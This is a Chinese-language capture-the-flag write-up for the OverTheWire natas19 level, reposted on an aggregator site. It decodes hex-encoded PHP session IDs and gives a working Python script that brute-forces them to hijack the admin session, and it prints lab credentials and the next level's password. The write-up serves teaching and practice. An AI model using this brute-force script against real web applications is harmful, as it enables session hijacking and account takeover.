首页 > 其他 > 详细

Overthewire-natas19

时间:2021-05-30 00:15:10      阅读:16      评论:0      收藏:0      [点我收藏+]

Overthewire level 19 to level20

这题说和之前的代码相似,但会话ID不再连续。为了观察它的规律,我们先登录几次看看

######
username=‘admin‘
password=‘123456‘
PHPSESSID=‘39342d61646d696e‘
######
username=‘admin‘
password=‘123456‘
PHPSESSID=‘3236322d61646d696e‘
######
username=‘admin‘
password=‘123456‘
PHPSESSID=‘3137382d61646d696e‘
######

通过三次登录,我们可以很明显的发现PHPSESSID中有重复的内容2d61646d696e
这段内容映射到ascii上为-admin,基于这个不难破解出第1,2,3次登录分别对应的明文为94-admin,262-admin,178-admin
到这里其实答案已经非常明显了。相对于前面的关卡而言,这关仅仅是把id进行了一次ascii编码映射,我们用同样的规则穷举所有的id即可。破解代码如下

import requests

for i in range(1, 641):
    resp = requests.post(‘http://natas19.natas.labs.overthewire.org/index.php‘,
                         auth=(‘natas19‘, ‘4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs‘),
                         data={‘username‘: ‘admin‘, ‘password‘: ‘‘},
                         cookies={‘PHPSESSID‘: (str(i) + ‘-admin‘).encode().hex()})
    if ‘regular user‘ not in resp.text:
        print(resp.text)
        break
    print("tried", i)

第20关密码为eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

Overthewire-natas19

原文:https://www.cnblogs.com/wudiiv11/p/natas19.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!